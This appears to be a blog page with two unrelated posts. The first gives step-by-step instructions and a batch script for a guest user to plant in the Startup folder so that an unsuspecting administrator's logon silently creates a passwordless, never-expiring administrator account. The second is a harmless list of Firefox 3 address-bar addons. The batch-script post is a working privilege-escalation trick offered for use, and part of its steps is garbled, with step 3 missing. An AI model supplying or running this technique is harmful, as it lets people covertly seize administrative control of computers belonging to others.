Create Administrator Account using Guest Account

I was wondering if this was possible. and oh yes it is possible. but the PC in which you want to create an admin account, an administrator who logs on regularly must be present. ( I mean someone with an administrator account must log in ) This process can be divided in to .... lets say about 5 steps. and here are the cools 5 steps to create your own admin account:

1. Right click desktop NEW> Text Document

2.Write the following in the notepad
@echo off
net user Newadmin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Newadmin the file and rename it to what ever you want with the extention .bat

4.Copy the file to the Startup folder. Here is the path to the Startup folder:

C:\Documents and Settings\All Users\Start Menu\Programs\Startup
5.The next time the admin logs on into the computer, the batch file runs and the admin account is created. Once the admin logs off, you can log in using the username newadmin and without any password.
Remember that it wouldn’t take long for the real admin to find out that a new admin account has been created.
Hope this helped someone who needs an admin a/C.

Firefox Addons FIRE

Most of firefox fans are aware of awesomeness of Mozilla Firefox 3 address bar but few are aware that this awesome bar can be upgraded by using some Firefox addons and can be made more useful.

Here is the list of 5 Firefox 3 addons which can improve the working and efficiency of your Mozilla Firefox 3 address bar.

1.oldbar - Oldbar makes the location (URL) bar look like Firefox 2. If you need another alternative to this, try out Old Location Bar. Oldbar just makes the location bar look like FireFox 2 Old Location Bar makes it ACT like Firefox 2.
2.Hide Unvisited - You too can hide pages bookmarks that you haven't visited , since deleting or clearing history, from showing in the Address Bar.
3.Enter Selects - This Extension allows you to press enter in the Address Bar to select the first result without pressing down.
4.Hidden Places - Stop URLs from specified domains being added to places and the Address Bar.
5.Edit Middle - Show AwesomeBar results when editing in the middle not just at the end.
I personally feel that even without addons firefox 3 is a nice and safe web browser compared to others.
